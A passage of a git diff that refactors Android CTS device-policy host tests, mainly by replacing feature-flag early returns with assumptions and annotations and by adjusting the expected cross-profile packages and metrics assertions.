         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
@@ -156,9 +145,6 @@
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageRemovedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService(mPrimaryUserId);
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
@@ -171,9 +157,6 @@
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageChangedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true,
@@ -186,9 +169,6 @@
 
     @Test
     public void testReverseAccessNoThrow() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
 
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 05a0157..159bc20 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.platform.test.annotations.FlakyTest;
 
 import org.junit.Test;
@@ -27,6 +30,8 @@
  */
 public class LauncherAppsSingleUserTest extends BaseLauncherAppsTest {
 
+    private final static String FEATURE_INCREMENTAL_DELIVERY =
+            "android.software.incremental_delivery";
     private boolean mHasLauncherApps;
     private String mSerialNumber;
     private int mCurrentUserId;
@@ -63,6 +68,19 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    //TODO(b/171574935): make sure to migrate this to the new test infra
+    @Test
+    public void testInstallAppMainUserIncremental() throws Exception {
+        assumeTrue(getDevice().hasFeature(FEATURE_INCREMENTAL_DELIVERY));
+        if (!mHasLauncherApps) {
+            return;
+        }
+        installAppIncremental(SIMPLE_APP_APK);
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+    }
+
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageAddedMainUser() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index 0ff9430..29f3d04 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -32,28 +32,28 @@
     private static final String LAUNCHER_TESTS_NO_PERMISSION_APK =
             "CtsNoPermissionApp.apk";
 
-    private boolean mHasLauncherApps;
     private String mSerialNumber;
     private int mCurrentUserId;
 
     @Override
+    protected void assumeTestEnabled() throws Exception {
+        assumeApiLevel(21);
+    }
+
+    @Override
     public void setUp() throws Exception {
         super.setUp();
-        mHasLauncherApps = getDevice().getApiLevel() >= 21;
 
-        if (mHasLauncherApps) {
-            mCurrentUserId = getDevice().getCurrentUser();
-            mSerialNumber = Integer.toString(getUserSerialNumber(mCurrentUserId));
-            uninstallTestApps();
-            installTestApps(mCurrentUserId);
-        }
+        mCurrentUserId = getDevice().getCurrentUser();
+        mSerialNumber = Integer.toString(getUserSerialNumber(mCurrentUserId));
+        uninstallTestApps();
+        installTestApps(mCurrentUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasLauncherApps) {
-            uninstallTestApps();
-        }
+        uninstallTestApps();
+
         super.tearDown();
     }
 
@@ -75,9 +75,6 @@
 
     @Test
     public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -85,9 +82,6 @@
 
     @Test
     public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testNoSystemAppHasSyntheticAppDetailsActivityInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -95,9 +89,6 @@
 
     @Test
     public void testNoLauncherActivityAppNotInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testNoLauncherActivityAppNotInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -105,9 +96,6 @@
 
     @Test
     public void testNoPermissionAppNotInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testNoPermissionAppNotInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -115,9 +103,6 @@
 
     @Test
     public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testGetSetSyntheticAppDetailsActivityEnabled",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
index 5492cf2..b1f39f5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -90,35 +89,32 @@
                 contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
                 contactsTestSet.checkIfCanFilterSelfContacts();
                 contactsTestSet.checkIfNoEnterpriseDirectoryFound();
-                if (isStatsdEnabled(getDevice())) {
-                    assertMetricsLogged(getDevice(), () -> {
-                        contactsTestSet.setCallerIdEnabled(true);
-                        contactsTestSet.setCallerIdEnabled(false);
-                    }, new DevicePolicyEventWrapper
-                            .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(false)
-                            .build(),
-                    new DevicePolicyEventWrapper
-                            .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(true)
-                            .build());
-                    assertMetricsLogged(getDevice(), () -> {
-                        contactsTestSet.setContactsSearchEnabled(true);
-                        contactsTestSet.setContactsSearchEnabled(false);
-                    }, new DevicePolicyEventWrapper
-                            .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(false)
-                            .build(),
-                    new DevicePolicyEventWrapper
-                            .Builder(
-                            EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(true)
-                            .build());
-                }
+                assertMetricsLogged(getDevice(), () -> {
+                    contactsTestSet.setCallerIdEnabled(true);
+                    contactsTestSet.setCallerIdEnabled(false);
+                }, new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(false)
+                        .build(),
+                new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(true)
+                        .build());
+                assertMetricsLogged(getDevice(), () -> {
+                    contactsTestSet.setContactsSearchEnabled(true);
+                    contactsTestSet.setContactsSearchEnabled(false);
+                }, new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(false)
+                        .build(),
+                new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(true)
+                        .build());
                 return null;
             } finally {
                 // reset policies
@@ -139,10 +135,6 @@
     }
 
     private void runManagedContactsTest(Callable<Void> callable) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Allow cross profile contacts search.
             // TODO test both on and off.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
index fe80592..041491a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -24,12 +24,11 @@
 import static android.stats.devicepolicy.EventId.SET_INTERACT_ACROSS_PROFILES_APP_OP_VALUE;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -73,12 +72,20 @@
                     TEST_APP_1_PKG,
                     TEST_APP_2_PKG);
 
+    // The apps whose app-ops are maintained and unset are defined by
+    // testSetCrossProfilePackages_resetsAppOps_noAsserts on the device-side.
+    private static final Set<String> UNSET_CROSS_PROFILE_PACKAGES_2 =
+            Sets.newHashSet(
+                    TEST_APP_4_PKG);
+    private static final Set<String> MAINTAINED_CROSS_PROFILE_PACKAGES_2 =
+            Sets.newHashSet(
+                    TEST_APP_1_PKG,
+                    TEST_APP_2_PKG,
+                    TEST_APP_3_PKG);
+
     @LargeTest
     @Test
     public void testCrossProfileIntentFilters() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Set up activities: ManagedProfileActivity will only be enabled in the managed profile and
         // PrimaryUserActivity only in the primary one
         disableActivityForUser("ManagedProfileActivity", mParentUserId);
@@ -87,17 +94,15 @@
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
                 MANAGED_PROFILE_PKG + ".CrossProfileIntentFilterTest", mProfileUserId);
 
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(
-                        MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".CrossProfileIntentFilterTest",
-                        "testAddCrossProfileIntentFilter_all", mProfileUserId);
-            }, new DevicePolicyEventWrapper.Builder(ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
-                    .setAdminPackageName(MANAGED_PROFILE_PKG)
-                    .setInt(1)
-                    .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(
+                    MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".CrossProfileIntentFilterTest",
+                    "testAddCrossProfileIntentFilter_all", mProfileUserId);
+        }, new DevicePolicyEventWrapper.Builder(ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
+                .setAdminPackageName(MANAGED_PROFILE_PKG)
+                .setInt(1)
+                .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
+                .build());
 
         // Set up filters from primary to managed profile
         String command = "am start -W --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
@@ -112,9 +117,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileContent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         // Storage permission shouldn't be granted, we check if missing permissions are respected
         // in ContentTest#testSecurity.
@@ -140,9 +142,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileNotificationListeners_EmptyAllowlist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
@@ -158,9 +157,6 @@
 
     @Test
     public void testCrossProfileNotificationListeners_NullAllowlist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
@@ -176,9 +172,6 @@
 
     @Test
     public void testCrossProfileNotificationListeners_InAllowlist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
@@ -194,9 +187,6 @@
 
     @Test
     public void testCrossProfileNotificationListeners_setAndGet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -207,9 +197,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileCopyPaste() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
         installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
@@ -249,10 +236,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileWidgets() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
@@ -297,10 +280,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileWidgetsLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         try {
             installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
@@ -330,9 +309,6 @@
 
     @Test
     public void testCrossProfileCalendarPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
                     "testCrossProfileCalendarPackage", mProfileUserId);
@@ -345,9 +321,6 @@
     @Test
     public void testSetCrossProfilePackages_notProfileOwner_throwsSecurityException()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -358,9 +331,6 @@
     @Test
     public void testGetCrossProfilePackages_notProfileOwner_throwsSecurityException()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -371,9 +341,6 @@
     @Test
     public void testGetCrossProfilePackages_notSet_returnsEmpty()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -384,9 +351,6 @@
     @Test
     public void testGetCrossProfilePackages_whenSetTwice_returnsLatestNotConcatenated()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -397,9 +361,6 @@
     @Test
     public void testGetCrossProfilePackages_whenSet_returnsEqual()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -409,9 +370,6 @@
 
     @Test
     public void testSetCrossProfilePackages_isLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         assertMetricsLogged(
                 getDevice(),
@@ -419,17 +377,13 @@
                         ".CrossProfileTest", "testSetCrossProfilePackages_noAsserts"),
                 new DevicePolicyEventWrapper.Builder(SET_CROSS_PROFILE_PACKAGES_VALUE)
                         .setAdminPackageName(MANAGED_PROFILE_PKG)
-                        .setStrings(
-                                TEST_APP_1_PKG, TEST_APP_2_PKG, TEST_APP_3_PKG, TEST_APP_4_PKG)
+                        .setStrings(TEST_APP_1_PKG)
                         .build());
     }
 
     @FlakyTest
     @Test
     public void testDisallowSharingIntoPersonalFromProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Set up activities: PrimaryUserActivity will only be enabled in the personal user
         // This activity is used to find out the ground truth about the system's cross profile
         // intent forwarding activity.
@@ -442,9 +396,6 @@
 
     @Test
     public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
         // This activity is used to find out the ground truth about the system's cross profile
         // intent forwarding activity.
@@ -465,9 +416,6 @@
 
     @Test
     public void testSetCrossProfilePackages_resetsAppOps() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         runWorkProfileDeviceTest(
                 ".CrossProfileTest",
@@ -491,9 +439,6 @@
 
     @Test
     public void testSetCrossProfilePackages_sendsBroadcastWhenResettingAppOps() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         setupLogcatForTest();
 
@@ -553,20 +498,12 @@
 
     @Test
     public void testSetCrossProfilePackages_resetsAppOps_isLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         assertMetricsLogged(
                 getDevice(),
                 () -> runWorkProfileDeviceTest(
                         ".CrossProfileTest", "testSetCrossProfilePackages_resetsAppOps_noAsserts"),
                 new DevicePolicyEventWrapper.Builder(SET_INTERACT_ACROSS_PROFILES_APP_OP_VALUE)
-                        .setStrings(TEST_APP_3_PKG)
-                        .setInt(MODE_DEFAULT)
-                        .setBoolean(true) // cross-profile manifest attribute
-                        .build(),
-                new DevicePolicyEventWrapper.Builder(SET_INTERACT_ACROSS_PROFILES_APP_OP_VALUE)
                         .setStrings(TEST_APP_4_PKG)
                         .setInt(MODE_DEFAULT)
                         .setBoolean(true) // cross-profile manifest attribute
@@ -575,23 +512,21 @@
 
     @Test
     public void testSetCrossProfilePackages_killsApps() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         launchAllTestAppsInBothProfiles();
         Map<String, List<String>> maintainedPackagesPids = getPackagesPids(
-                MAINTAINED_CROSS_PROFILE_PACKAGES);
-        Map<String, List<String>> unsetPackagesPids = getPackagesPids(UNSET_CROSS_PROFILE_PACKAGES);
+                MAINTAINED_CROSS_PROFILE_PACKAGES_2);
+        Map<String, List<String>> unsetPackagesPids = getPackagesPids(
+                UNSET_CROSS_PROFILE_PACKAGES_2);
 
         runWorkProfileDeviceTest(
                 ".CrossProfileTest",
                 "testSetCrossProfilePackages_resetsAppOps_noAsserts");
 
-        for (String packageName : MAINTAINED_CROSS_PROFILE_PACKAGES) {
+        for (String packageName : MAINTAINED_CROSS_PROFILE_PACKAGES_2) {
             assertAppRunningInBothProfiles(packageName, maintainedPackagesPids.get(packageName));
         }
-        for (String packageName : UNSET_CROSS_PROFILE_PACKAGES) {
+        for (String packageName : UNSET_CROSS_PROFILE_PACKAGES_2) {
             assertAppKilledInBothProfiles(packageName, unsetPackagesPids.get(packageName));
         }
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
index e6fc79b..77e1838 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -40,28 +39,16 @@
     @FlakyTest
     @Test
     public void testLockNowWithKeyEviction() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
+
         changeUserCredential(TEST_PASSWORD, null, mProfileUserId);
         lockProfile();
     }
 
-    @Test
-    public void testPasswordMinimumRestrictions() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
-                mProfileUserId);
-    }
-
     @FlakyTest
     @Test
     public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
                 "testSetupWorkProfile", mProfileUserId);
@@ -75,9 +62,7 @@
     @FlakyTest
     @Test
     public void testClearPasswordWithTokenBeforeUnlock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
                 "testSetupWorkProfile", mProfileUserId);
@@ -98,9 +83,8 @@
     @FlakyTest
     @Test
     public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
+
         final String devicePassword = TEST_PASSWORD;
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
@@ -127,9 +111,7 @@
     @LockSettingsTest
     @Test
     public void testIsUsingUnifiedPassword() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
 
         // Freshly created profile has no separate challenge.
         verifyUnifiedPassword(true);
@@ -145,9 +127,8 @@
     @LockSettingsTest
     @Test
     public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         try {
             // Add a device password after the work profile has been created.
             changeUserCredential(TEST_PASSWORD, /* oldCredential= */ null, mPrimaryUserId);
@@ -170,9 +151,8 @@
     @LockSettingsTest
     @Test
     public void testRebootDevice_unifiedPassword() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Waiting before rebooting prevents flakiness.
         waitForBroadcastIdle();
         changeUserCredential(TEST_PASSWORD, /* oldCredential= */ null, mPrimaryUserId);
@@ -194,9 +174,8 @@
     @LockSettingsTest
     @Test
     public void testRebootDevice_separatePasswords() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Waiting before rebooting prevents flakiness.
         waitForBroadcastIdle();
         final String profilePassword = "profile";
@@ -223,9 +202,8 @@
 
     @Test
     public void testCreateSeparateChallengeChangedLogged() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen || !isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         assertMetricsLogged(getDevice(), () -> {
             changeUserCredential(
                     TEST_PASSWORD /* newCredential */, null /* oldCredential */, mProfileUserId);
@@ -234,6 +212,14 @@
                 .build());
     }
 
+    @Test
+    public void testActivePasswordSufficientForDeviceRequirement() throws Exception {
+        assumeHasSecureLockScreenFeature();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ActivePasswordSufficientForDeviceTest",
+                mProfileUserId);
+    }
+
     private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
         final String testMethod =
                 unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index 897e23a..b57b3fb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,8 +15,12 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
 import org.junit.Test;
 
 /**
@@ -24,6 +28,8 @@
  * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
  * ACTION_PROVISION_MANAGED_PROFILE intent before Android M.
  */
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class ManagedProfileProvisioningSingleAdminTest extends BaseDevicePolicyTest {
 
     private static final String SINGLE_ADMIN_PKG = "com.android.cts.devicepolicy.singleadmin";
@@ -35,34 +41,25 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
 
-        if (mHasFeature) {
-            removeTestUsers();
-            installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
-            mProfileUserId = 0;
-        }
+        removeTestUsers();
+        installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
+        mProfileUserId = 0;
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (mProfileUserId != 0) {
-                removeUser(mProfileUserId);
-            }
-            getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
+        if (mProfileUserId != 0) {
+            removeUser(mProfileUserId);
         }
+        getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
+
         super.tearDown();
     }
 
     @FlakyTest
     @Test
     public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(SINGLE_ADMIN_PKG, ".ProvisioningSingleAdminTest",
                 "testManagedProfileProvisioning", mPrimaryUserId);
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
index 8dd68bf..ee6c94a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -15,10 +15,16 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
 import org.junit.Test;
 
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class ManagedProfileProvisioningTest extends BaseDevicePolicyTest {
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
@@ -30,36 +36,25 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature(
-                "android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
-            mProfileUserId = 0;
-        }
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
+        mProfileUserId = 0;
     }
 
     @Override
